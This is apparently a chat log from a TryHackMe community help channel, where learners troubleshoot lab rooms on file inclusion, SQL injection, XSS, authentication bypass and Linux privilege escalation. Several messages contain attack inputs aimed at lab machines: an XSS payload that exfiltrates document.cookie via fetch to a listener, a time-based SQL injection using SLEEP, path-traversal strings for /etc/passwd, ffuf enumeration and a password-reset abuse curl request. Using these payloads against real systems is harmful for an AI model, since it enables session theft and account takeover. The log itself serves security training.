I don know what else to try to get flag2. Are you saying that I should continue to try by using another method? In any case, if using file:// reveals the etc folder and I don see the flag2 in it perhaps it may be because it is simply missing?

Thanks for you patience lassi. If I input /etc/flag2 as the value of the cookie I get the following error: Warning: include(includes//etc/flag2.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37

[next lance]

Gave +1 Rep to @steel nymph

[tropic dust]

I don't understand this server... I do a little work and after sometime the shell just stops taking any input... this is happening only on this server...
And yes, how to enable a spoiler alert on text?

[modest arch]

Or if on windows client you can highlight your text then click on the eye logo

or also "/spoiler"

[tropic dust]

also... running the CVE on the server opens up a mini-shell with root priv, but it doesn't run half of the commands like cd or cp...

really stuck on task 5 of Linux Priv Esc room, someone out here to guide?

[main wasp]

Room: File Inclusion

in the last section if I try to access the challenge 2 it says "refresh the page please" and i don't know how to fix that

yea nothing changes

even clearing the cache is useless

nop

i only get response cookies tho

[tropic dust]

yes exactly.

[main wasp]

this is what i get

i tried without extensions and i get the same result

i tried changing them but I always get the same response cookies

I'll try

[tropic dust]

the download did give me a .c file... I compiled and ran it. the object code file exists in the server.

[main wasp]

still nothing

i forgot to add the spoiler mb

and how do i input multiple values?

ooh

ok got it

thanks

[dusky gulch]

Hi guys. I'm dealing with Windows Privesc room Task5 DDL Hijacking I'm on last step that I have to log in as jack, but I don't have da option to switch on another user. I also tried with ssh..

[cerulean abyss]

Found it. Rereading it and understanding how include works helped. Thanks!

[next lance]

Gave +1 Rep to @steel nymph

[final garden]

Are the tickets not available anymore? I thought today is the last day

[sharp yoke]

I am in the Authentication Bypass section task 3 but gives me error 😦

[sharp yoke]

yeah me too but it ended the midnight i guess

[dusky gulch]

Right. Thanks

[next lance]

Gave +1 Rep to @steel nymph

[sharp yoke]

so should i create my own txt file ?

thank you!! ❤️

[next lance]

Gave +1 Rep to @steel nymph

[sharp yoke]

I created my own list

like this :

but still have errors

don't get it

[slow crow]

make it one name per line and no commas 😉

[sharp yoke]

nope 😦

[slow crow]

yup, that and maybe try to create a new file with a different name maybe like "valid.txt" (but don't forget to change on the ffuf command as well

[sharp yoke]

i tried every username like this but still gives me error

[slow crow]

have you tried rebooting your machine?

[shadow echo]

Can I try to do it on your target machine, to check if it's an issue with your machine?

[sharp yoke]

of course but how ?

[sharp yoke]

yes like 5 times

[shadow echo]

I mean I see the IP in the screenshot, so if you haven't restarted the machine I can just run ffuf

[sharp yoke]

nope give it a try

thank you ❤️

[shadow echo]

If you run curl 10.10.10.10/whoami on your own machines terminal what's the IP you get as a response?

[sharp yoke]

what is 10 10 10 10 ? :/

[shadow echo]

Just a thm machine for vpn purpose

[sharp yoke]

i wait but nothing shows

[shadow echo]

So can you access 10.10.10.10 in your machines browser?

[sharp yoke]

ovvvvvvvvvvvvv waitttttttttttttttt

gosh

don't start my vpn thing

😄

yes now

it's working

[shadow echo]

Okay, so what's the IP you get as a reply to the curl command?

[sharp yoke]

ffuf worked :/

i solved it

[shadow echo]

Alright 😄

[sharp yoke]

i didn't run the openvpn thing at first

[shadow echo]

Ye

[sage vector]

I am in need of help with this question been working on it for 2 days is it a joke ?

https://gyazo.com/eec9c78d4736adee6b65d50070659a08

Use grep on "access.log" to find the flag that has a prefix of "THM". What is the flag?

[night hearth]

what are you trying?

[sage vector]

i try doing a grep "THM" access.log

figure with it being a prefix looking for somthing that says THM

[night hearth]

very close

[sage vector]

noooo ITS NOT

lol

fuck let me figure it out then

lol

or is it some bull shit i am not typing right ? lol

hmm so using grep it would just look for THM if there is any

[night hearth]

are you in the same directory as accesslog

[sage vector]

so i am not suppose to be in the root

[night hearth]

where is access.log located

im booting up the task now

[sage vector]

okay ty

i might be overthinking this soo badly and going to piss me off l8r lol when i figure it out

[night hearth]

so grep "THM" access.log works perfectly for me

do you get anything returned?

[sage vector]

let me see

https://gyazo.com/d7916cbcbb85a6bb0fded6ab5b871a14

[night hearth]

you need to launch the machine in task 3 of linux fundamentals

your attackbox does not have the file access.log

[sage vector]

OMG LOL

[night hearth]

see that the error you are getting is no such file

[sage vector]

yea

[night hearth]

if you do the ls command you can see the files in your current directory

[sage vector]

i get it now

[slow crow]

eheheh it happens sometimes 😅

[sage vector]

well i kno to start my task 3 window lol

[slow crow]

waht have you done differently for it to work?

[unreal folio]

Is there a workaround for Task 5 in Advanced Nmap?
I'm entering the command as they suggest but the password is incorrect.
Scp pentester@my-machine-ip:/home/pentester/* .
To copy files
It prompts for password and I enter given password THM17577
Permission denied, please try again
Pls helpppppp

🎃👻

[shadow echo]

What room?

[young birch]

Hi guys, I'm a little confused about challenge 1 of the LFI part (https://tryhackme.com/room/fileinc) on Task 8.

For the first Challenger, we need to do a POST search to reveal the /etc/flag1 file.

I use postman, and I made a POST request with the link
http://10.10.17.108/challenges/chall1.php?file=/etc/flag1

And it does not work ...

Can you tell me why?

[shadow echo]

You need to understand the difference of a GET request and a POST request. As the way you are trying to send the parameter is supposed to be used in a GET request and not in a POST request.

[shadow echo]

https://www.w3schools.com/tags/ref_httpmethods.asp

[young birch]

Ok thanks bro i will check that thank you @shadow echo

[next lance]

Gave +1 Rep to @shadow echo

[young birch]

Thank you @steel nymph

[shadow echo]

Ye, that might be something they could fix, anyways they mention it has to be in the request body. But it's good if you add that info in case he is doing it with burp 🙂

[young birch]

Yes it works thank to yours answers guys, and thanks to to request body

Tahnk you ! 😉

[unreal folio]

Hi, it was the victim machine's ip

[shut linden]

Hey everyone, so I am currently struggle bussin through task 8 of the SQLi room.
It appears to be a topic of discussion, might someone be able to review/confirm the logic?

[shut linden]

So I am able to get the 5 second response time with the following:
|| admin123' UNION SELECT SLEEP(5),2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_four' and TABLE_NAME='users' and COLUMN_NAME like 'password' and COLUMN_NAME !='id'; ||

[shut linden]

Appreciate it @steel nymph

[analog owl]

I have no longer gotten ant ticket since yesterday evening. is this expected? I thought it's extended till 31st Oct ?

[sharp yoke]

I have a question i don't see my kali user after windows update

and terminal appearance is change

now i see

this is sus

[noble rose]

Morning guys, have a great day!

[modest arch]

this have been usefull for me! @analog quartz you too

[unreal folio]

Did you ever get past this? I'm having the same error

[worthy escarp]

I’m working on Practical : Command Injection under the Command Injection box. None of the commands I’m inputting are returning anything, is this room bugged?

[worthy escarp]

Yes

Pings the server. Sends back 4 packets. Problem arises when I input any injection code from the cheat sheet. Nothing posts. Perhaps I’m misusing it?

Yeah, attempting Linux commands is getting nothing back. I.E. ping 127.0.0.1, whoami 127.0.0.1, etc

[snow quail]

Hey, is there any way I can get a web view of my curl requests / tamper cookies from browser? I'm at file inclusion challenge 2

[idle bison]

Yep, dev tools

[snow quail]

Hmm how do I do that? I'm able to read the request along with the cookie that goes with it but I cannot find a way to edit it

[modest arch]

If you are using Firefox check the "Storage" Tab

[vital lake]

in curl i think it is a -H "<name>:<value>"

[snow quail]

Oh nice I think I got it, and yes that's correct for curl, thank you @vital lake !

[next lance]

Gave +1 Rep to @vital lake

[unreal folio]

So the task is wrong? I will try it, thank you!

[next lance]

Gave +1 Rep to @steel nymph

[unreal folio]

All i needed was to stop the machine, refresh the page and restart the machine.... it's working now, but thanks!

[brazen notch]

Anyone able to help with SQL injection task 7?

I'm trying to enumerate the column names but no matter the character I use to do so, it returns false. If I take it a few steps back and do the table names it works though.

I even scrolled a little bit further into the section and saw the column names, then tried searching for the first character of those and matching with column_name = parameter and it still returned false.

It this a bug in the lesson or am I dumb?

@steel nymph disregard... figures the second i post for help i'd see the error -_-

i forgot to change the dumb information_schema

[ember oyster]

any fixes for xss task 8?

[shadow echo]

What you mean with fix?

[ember oyster]

I mean is there any more info about automatization of admin, I restarted machine three times, on first attempt listened for ~30min then two time for 10min

[shadow echo]

Oh, have you tried if you receive the request if you open the ticket on your own? So just to verify your payload is working?

[ember oyster]

Yes, I have received my own cookie

[shadow echo]

Okay, then maybe try it on the attackbox or with the request catcher. People reported it's working better with these 2 options.

[ember oyster]

okay, i'll try that now

[empty forge]

Who is the author of Exploit-DB?

johnny long should be the answer

but it is not

any hints?

[lucid shale]

Johnny Long was the creator and author of Google Hacking Database.

edited for clarity

[empty forge]

where should I look for the answer?

[lucid shale]

when looking for information about a website or people associated with it I always look for an 'about us' page or something similar.

[empty forge]

got the answer

In my case I check the history of exploitdb

[ember oyster]

after about 15 min on attack box - nothing (only my own cookie), i'll try request catcher next

okay

[crimson lark]

Anyone have any issues with the crontab task in the linux privilege's escalation room??

What is the most common mistake because I don't see where I am making the issue

Who the **** creates a backup files for a crontab and doesn't make it executable. The hell kinda admin is this

[wet gulch]

could someone give me a hint for xss task 8 i have started netcat on 9001 and am posting || </textarea><script>fetch('http://10.10.224.220?cookie=' + btoa(document.cookie) );</script> || in the text area of the ticket and not getting anything on my port

what about the payload

i tried adding :9001 after the ip

|| </textarea><script>fetch('http://10.10.224.220:9001?cookie=' + btoa(document.cookie) );</script>|| like this?

or adding a / before the ?

oh the ip i am using rn was wrong but when i was doing it last night i know i was using the right ip but i still wasnt getting it ill try again

okay i switched the ip and i am still not getting anything, ill stil wait i guess

and send what?

the payload?

my vpn or the box

okay

yes it is

thats my tun0

yeah

idk maybe its bugged

its okay

okay

i tried last night and it wasnt working

maybe ill try the catcher

got it with the catcher

wait maybe not

i got this

when running this || </textarea><script>fetch('http://a791fd7267ad5efeaa23890b083a763c.log.tryhackme.tech?cookie=' + btoa(document.cookie) );</script> ||

yeah because i opened the page where is says "listening for requests ..."

its just http requests from my ip getting the html

i just get the dns

yeah if i run || </textarea><script>fetch('http://a791fd7267ad5efeaa23890b083a763c.log.tryhackme.tech?cookie=' + btoa(document.cookie) );</script> || i get

i got it

finally lol

thank you

thanks for your help as well

[next lance]

Gave +1 Rep to @steel nymph

[modest arch]

so thx

[next lance]

Gave +1 Rep to @drifting drum

[modest arch]

I'm quite new to using ffuf - When executing the command it's encountered 1 error ( -u flag or -request flag is required). Even though I've declared it with the full URL afterwards. Any suggestions?

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x" - H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.170.82:80/customers/signup -mr "username already exists" -o valid_username.txt

I attempted without port also ^

Cheers bud - I'll do some trouble shooting.

[hollow acorn]

Hey guys, I'm working on the NFS section of the Linux PrivEsc section. I have the exploit created and I've mounted the share but running ./exploit does not give me root. Any ideas?

the exploit is in my own /tmp/attack directory and I am in the /tmp directory on karens system

do both exploit.c and the compiled exploit both need to be created by root?

I changed the permissions to include suid permissions

[modest arch]

FYI - I changed the placement of the -u to be before the -H flag and this worked.

[hollow acorn]

Oh, do I need to change the permissions on karens machine as well?

Yeah, just realized. So should I be the owner or should root be the owner?

Got it. I guess it didnt add the +s correctly on my side. Thanks as always for your excellent help @steel nymph

[next lance]

Gave +1 Rep to @steel nymph

[modest arch]

There is a space between - and H. Remove that.

[modest arch]

I don't think that is related. Remove that space between - and H and try again.

[modest arch]

Thank you - I removed the space and same error message appeared to declare -u flag

[next lance]

Gave +1 Rep to @wispy nimbus

[topaz fulcrum]

Hello, i'm stuck on File Inclusion -> Challenge -> Task2
So far i got to this point:

File Content Preview of admin
Welcome admin
This is a admin web page! Get the flag!

I really dont know what to do, i spent 1h looking and that and playing with cookie...

Hahaha, good one, got it 😄

Omg i'm stupid

[modest arch]

This is your command after the space got removed:
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.170.82:80/customers/signup -mr "username already exists" -o valid_username.txt
You should not get an error about the -u flag.
Now, you are still not going to get any results because your -d flag is not complete.

[shy sundial]

Not sure where I'm going wrong for Lab1 but I keep getting the path wrong.
||/lab1.php?file=/etc/passwd||

Tryhackme doesn't think so lol

[haughty topaz]

Still on same question. LfI inclusion last task.

[shy sundial]

When I enter the path it tells me "Uh Oh! undefined"

[haughty topaz]

Stomped 2 days

[shy sundial]

I'm 100% using bitdefender and as you said that noticed every time I enter the answer I get a bitdefender notice someone is trying to access my files.

Thank you for that!

[next lance]

Gave +1 Rep to @steel nymph

[haughty topaz]

Im on flag 1

What?

Im fresh fresh

Any sites with correct syntax. Thats my problem.

Yes

[modest arch]

#room-help message

[haughty topaz]

Send post request with file parameter

I know something with post -x

I tried in burp

Dont kno how to do in in browser

[night hearth]

how did you try in burp? what steps did you take?

[shy sundial]

thank you

[next lance]

Gave +1 Rep to @wispy nimbus

[haughty topaz]

Proxy, send to repeater. Changed get to post with ?file=../../../../etc/flag1

name1=value1&name2=value2.... will this come up after send. Dobi type this and are the values the same, and if not where do I get that info?

Ok

Ill get it eventually..lol

[split eagle]

if you go to the network tab of dev tools. you can export the request as a curl and import it into postman. then you can fool with it. and continue to be stuck (that's where I am atm).

[haughty topaz]

Lol

How did you get that?

File=hello world.. any rooms on THM that goes over this?

[shy sundial]

I just want to make sure I'm on the right track on LFI lab2. For entering the file name ||../../../../etc/passwd|| or did I miss the mark what I'm suppose to be looking for.

Yes

Yea, after I entered that from above it gave me the file contents to preview. I thought the answer was somewhere in there.

I feel so stupid after reading that lol. Thank you

[next lance]

Gave +1 Rep to @steel nymph

[shy sundial]

One of those instances of looking for a puzzle that wasn't there.

[haughty topaz]

Wowwwwww. That easy. It was slapping me in the face the whole time

[hollow zephyr]

What tool can I use to automate the requests in Time based SQL room?

I found the columns as || username, password, id|| and was able to know ||username = admin|| from the ||table_name=users||

Finding the value in ||password|| column is tiring me out

||I tried all the 52 alphabets but the password doesn't start with those apparenlty.||

[ocean socket]

You can simply input some random string in the input tag and see the url, there should be that file=helloworld
f.e if you search the word random on Google you'll see in the url q=random

[modest arch]

Perhaps somebody experienced the same... Burp Intruder, Task 12 CSRF Token Bypass. After creating Macro according to the guide I am still getting static session cookie and loginToken (as per intercepted original). Can't get my head around what is wrong, checked multiple times and all seems as per guide

[ember oyster]

just a question about SQL, if there's '%' it will register as any string, right?

[ember oyster]

after some research, the answer is yes

[modest arch]

Ok got around that. It appeared that issue was related to 'URL Scope'. It should be set either Target Scope globally, or selected 'Include all URLs' 👍

[drifting drum]

Yes. The % is a wildcard in SQL

[hollow zephyr]

How to get a 500 Internal Server Error in the Burp Repeater task?
I'm pretty sure I maxed out the URL parameter i.e. /products/<param>
I put it as || '9' * 4096|| which is the maximum. One more digit more and It'll return ||414 URI too long|| error.
Any help?

Wait, Nvm, I'm just little dumb

[twilit yoke]

nmap -sV scan and it gives back service mysql? version empty, what is another way of knowing what kind of database is running?

[modest arch]

Try nmap --script=mysql-info [IP]

[twilit yoke]

thankyou it worked!

[modest arch]

guys

anyone having problems with the sc query windefend command powershell? I't doesn't print anything

[shadow echo]

Try in cmd

[modest arch]

that worked. ty

[next lance]

Gave +1 Rep to @shadow echo

[reef void]

I am doing File Inclusion Lab #Challenge 3, I am stumped spent over a day, its locked down well with regex, looked around the internet looked up about $_REQUEST, Can't find any reference in the code anywhere to $_REQUEST, no luck, tried all the tricks I know and plenty I didn't. Any ideas why its not giving up the goods? 10.10.x.x/challenges/chall3.php&file=xxx

[drifting drum]

Time to become the postman

[astral marlin]

can anyone help me with the logic flow in authentication bypass lab? for some reason i can get the flag from robert's support ticket

i did follow all the steps

[turbid sun]

sure, i'm starting the machine up right now

[astral marlin]

thanks

[turbid sun]

if you've followed the steps correctly, you should be able to get a ticket on your account containing a link to login as Robert

did you get that ticket?

[astral marlin]

no i didn't

i'll try again

[turbid sun]

remember to use the email address given to your account in the website

that particular email address must be used, otherwise you wouldn't be able to receive the ticket

would you mind showing the curl request command you've used?

[astral marlin]

sure

curl 'http://10.10.144.63/customers/reset?email=[e-mail]' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=[e-mail]'

[turbid sun]

remember to use the email address given to your account in the website
when you send a valid request for resetting an account's password, the website would send a ticket to the email address of an account, which contains the link for logging into the account with the resetted password

the problem with this is that you could control which email address the website sends the ticket to

as the attacker, you'd want the website to send it to the email address of your account so that you could log into another person's account

there's a particular part of your curl request that you need to change so that the website sends the ticket to your account's email address

[astral marlin]

so basically you have to create an account with a legit email then use that email in the curl request

[turbid sun]

the email address you need to use is given to you in the website, under your account settings

once you've created a new account and logged in, check its settings, and you should see an email address there

that's the one you need to use for performing the attack

[astral marlin]

i login using steve's credentials i got when doing the brute force attack an in the account setting there is an email

can i use that one?

[turbid sun]

that should work i think

[astral marlin]

ok let me try

[turbid sun]

the email address to use is the one in 'Support Tickets', not the one in 'Your Account'

it could be a little confusing haha

[turbid sun]

i can confirm this method works

[astral marlin]

yeah it works indeed!

thank you so much for your help

[turbid sun]

:)

[astral marlin]

let's connect on linkedin

[turbid sun]

i don't have a linkedin account lol

[astral marlin]

all good!

[turbid sun]

maybe i could see yours? lol

[astral marlin]

www.linkedin.com/in/odilon-nguemou

[turbid sun]

agh, i have to create an account now because LinkedIn wouldn't let me view your profile

[astral marlin]

well feel free to connect anytime

do you have any cert? CEH, Comptia Pentest+?

[turbid sun]

well feel free to connect anytime
sure!
do you have any cert? CEH, Comptia Pentest+?
not yet, but i'm working to get my eJPT by the coming weekend

[astral marlin]

cool! that's a good one

i've started studying for it

but i'll prep for the CEH and Pentest+ first as they are more recognize in the industry

[turbid sun]

once i'm done with the eJPT, i think my next target would be CCNA R&S, CCSK or eNDP

[astral marlin]

cool well good luck

[shy wasp]

hi @astral marlin
could you help list down your step for get that flag?
i did follow your discuss , but not yet get that flag.

[turbid sun]

which part of the task are you stuck on?

[dusky ermine]

u will pass ejpt easily :)

[shy wasp]

the logic flow in authentication bypass lab? i cant get the flag from robert's support ticket

[dusky ermine]

start studying for ccna or others 🐬

dont worry for ejpt

[turbid sun]

did you get a ticket containing a link to access Robert's account after you've resetted his password?

[turbid sun]

yeah the CCNA seems to have a pretty good reputation among employers

it's definitely something on my bucket list

[dusky ermine]

ejpt u will pass no doubts in dat

just do some quick labs on thm like junior pentestinf and all

ur good to go

[shy wasp]

after resetted see only status alert we'll send you reset email to [e-mail] and not get any link

[turbid sun]

@shy wasp you need to use the support ticket email address of an account you've created or an account you've compromised on that website

[reef void]

I assume this is a reference to POST? which I gave a fairly good flogging of but it returned nothing. I have a double issue that the VPN persistently goes down to try-hack-me lasting maybe a minute and it must be restarted at every attempt practically.

[turbid sun]

we want to exploit the logic flaw in the website so that it ends up sending the password reset ticket to an account we can access instead of to Robert's account

[turbid sun]

maybe try changing the OpenVPN server to connect to or use the AttackBox to send the LFI request?

Joker's hint leads you on the correct track

[late jungle]

Linux PrivEsc: Task 5 help? (spoilers, ye be warned) ||I have the http server setup, I have the exploit on my attackbox ready to be wget'd, but every time I try to wget the exploit using karen's account I always get permission denied. I'm sure I am doing something wrong here, any nudges or just flat out answers? Its killing me.||

[reef void]

Noted, I do use the attack box but its a bit more clumsy at times. I could change the VPN server Could its a local server, I had a couple of months of hassle free engagement, then nothing but constant trouble.

[turbid sun]

which directory are you on in Karen's machine? i have a feeling that's related

[late jungle]

I read a few posts about that just now and went all around the directory spamming my wget so far I've gotten no dice

Saying I can't write to the exploit when I try to wget it

@turbid sun

[reef void]

ok thx on tip, rebooting VM its been a while I suspect.

[next lance]

Gave +1 Rep to @turbid sun

[turbid sun]

this is what i'm suspecting

i've encountered this error before and it's because i was in a directory i couldn't write to

the fix is to cd to a directory you have write permissions for

[late jungle]

I'll see if I can sort that out 🤔 thanks for the tip @turbid sun I'll be back if I have trouble

[next lance]

Gave +1 Rep to @turbid sun

[late jungle]

https://tenor.com/view/fire-flame-look-what-i-have-created-shout-gif-17812125

it worked

[turbid sun]

yoooo

[late jungle]

Now to figure out how to actually run it

🤔

I did it

I am root

The days of suffering are over

[oak shard]

Hi ya'll . I need your help @hard jungle , @primal whale . The machine on "Subdomain Enumeration" is not starting . The ip address is not populating here 👉 (http://MACHINE_IP ) How do I resolve this ?

[hard jungle]

Hey @oak shard , I suggest you terminate the machine and deploy a new one. That's may help fixing the issue.

[shy wasp]

Let me try

[oak shard]

Hi , I have tried that thrice . Nothing has changed . Let me give it another go.

[turbid sun]

it sounds like a THM bug on the client side

sometimes the IP address doesn't get populated for me as well

perhaps file a report in #site-bugs?

[oak shard]

Thank you.

[next lance]

Gave +1 Rep to @turbid sun

[late jungle]

Hmm weird timing but

I cannot connect to the Task 6 machine

Task 6 Privilege Escalation: Sudo

Says
Connection Error

The remote desktop server encountered an error and has closed the connection. Please try again or contact your system administrator.

Reconnecting in 5 seconds...

[turbid sun]

are you connecting to it using remote desktop?

[late jungle]

Just through the browser like normal

This is the victim machine not the Attackbox

My Attackbox works fine

[turbid sun]

the task sounds like it's about a Linux victim machine rather than a Windows one

[late jungle]

Strange, it can be pinged but I cannot connect to it through the remote connection meant for it

It's one of those Guacamole boxes

[turbid sun]

which THM room is this? i might've solved it before

[late jungle]

This is the LinuxPrivEsc room still

It seems unrelated to the box, might be buggin

I can connect to it via ssh so no biggie but I was able to do both the Guacamole view and the ssh in Task 5

🤔

[oak shard]

Tried deploying a new one . Still no success

[hard jungle]

Please give us sometime to pass your request to our team. Thank you

[next lance]

Gave +1 Rep to @oak shard

[turbid sun]

haven't used Guacamole before but things should be fine if you could SSH into the box

[oak shard]

👍

[shy wasp]

now i got that flag, thank

[next lance]

Gave +1 Rep to @turbid sun

[late jungle]

Aiight I have a new problem || Task 7: SUID | So I found the commands that have the s flag owned by root but they're not running as root? What am I missing here?||

||Okay I figured it out but I still don't entirely understand||

[turbid sun]

as the text from the task has pointed out, 'SUID' stands for 'set-user identification'

it allows a binary to do things as another user

in this case, we want to exploit binaries that does things as the root user so that we could escalate our privileges and access the root account

[late jungle]

Right but ||why is it when I use the at command for instance, it doesn't execute the at job as root?||

||since the at command has that flag||

[turbid sun]

to put it in another way, as a normal user, you could run a program with the SUID bit set, but that program would be able to do things that only a particular user or someone with a particular set of privileges could do, since it sets the user ID during runtime

so, in the program, if it has the SUID bit set and sets the user ID to 0, for example, it'd be doing things as the root user

[shadow echo]

In the task it states about the SUID bit "These allow files to be executed with the permission level of the file owner " if you check the owner of at, that's not root.

[azure flume]

Which is beginner friendly try hack,me hack the box or vuln hub...Which can I start with ...

Although I’ve started try hack me,just want to know if it’s the best to start with

[turbid sun]

tryhackme feels the most beginner-friendly to me

[late jungle]

Ahhhhh I see

Thanks @turbid sun @shadow echo

[next lance]

Gave +1 Rep to @turbid sun

[late jungle]

I say try all 3

Just when you get frustrated swap which one you're trying

[azure flume]

Wowww at the same time?

[late jungle]

I'm doing it right now, got HTB and THM open in two tabs, when one pisses me off I switch tabs

The differences between the two are good for learning as well, keeps what you're reading kinda fluid and changing in style

[azure flume]

Ok

Thanks guys really appreciate 🙂

[turbid sun]

many of the challenges from HTB feel so much harder than the ones from THM, so i'm currently focused on getting more practice here before attempting more stuff at HTB

[late jungle]

The starting point is open enough that it's DOABLE but yes

It's still pretty hard

[modest arch]

I've tried HTB academy. You have to research a lot on your own to succeed.

[azure flume]

I was told I’m gonna hack my way into the login in HTB,but I signed up yesterday and it was free and open

[late jungle]

I can't really recommend HTB academy, I don't really like the layout and such

[late jungle]

That's the redesign

It's way easier to get started now

[azure flume]

Ohh

[late jungle]

Yeah, definitely give the starting point boxes a shot and don't feel bad if you have to reference the walkthrough at the top of the page

Try not to use it but don't feel bad if you have to peek

The strongest steel is forged in the hottest fires

Gotta challenge yourself to succeed

[turbid sun]

i haven't done much HTB yet but the starting point boxes serve as a pretty good introduction

[turbid sun]

can confirm the Guacamole view doesn't work for me for this task as well, but i don't really use much remote desktop to begin with so it's fine

[late jungle]

Yeah it hasn't been necessary for me, I just started ssh'ing into it instead of using the viewer

The author of the LinuxPrivEsc room really makes you work for your flag and I love and hate that

[marble hamlet]

can anybody point out any issues with this POST request i have put together - i dont seem to be having much luck on the File Inclusion module...

[shadow echo]

Two things I can see so far, not sure if the ? at the end of your url will do anything, but definitely the 2 new lines at the end of your parameter.

[marble hamlet]

will try this

[marble hamlet]

if i have already completed this task, it will still give me the Token wont it? i was just going over it to refresh the memory on file inclusion

[shadow echo]

Sure it will, if you meant the flag

Well, I already saw it 😄

[marble hamlet]

it wasn't giving me an error/token after i got rid of the 2 extra lines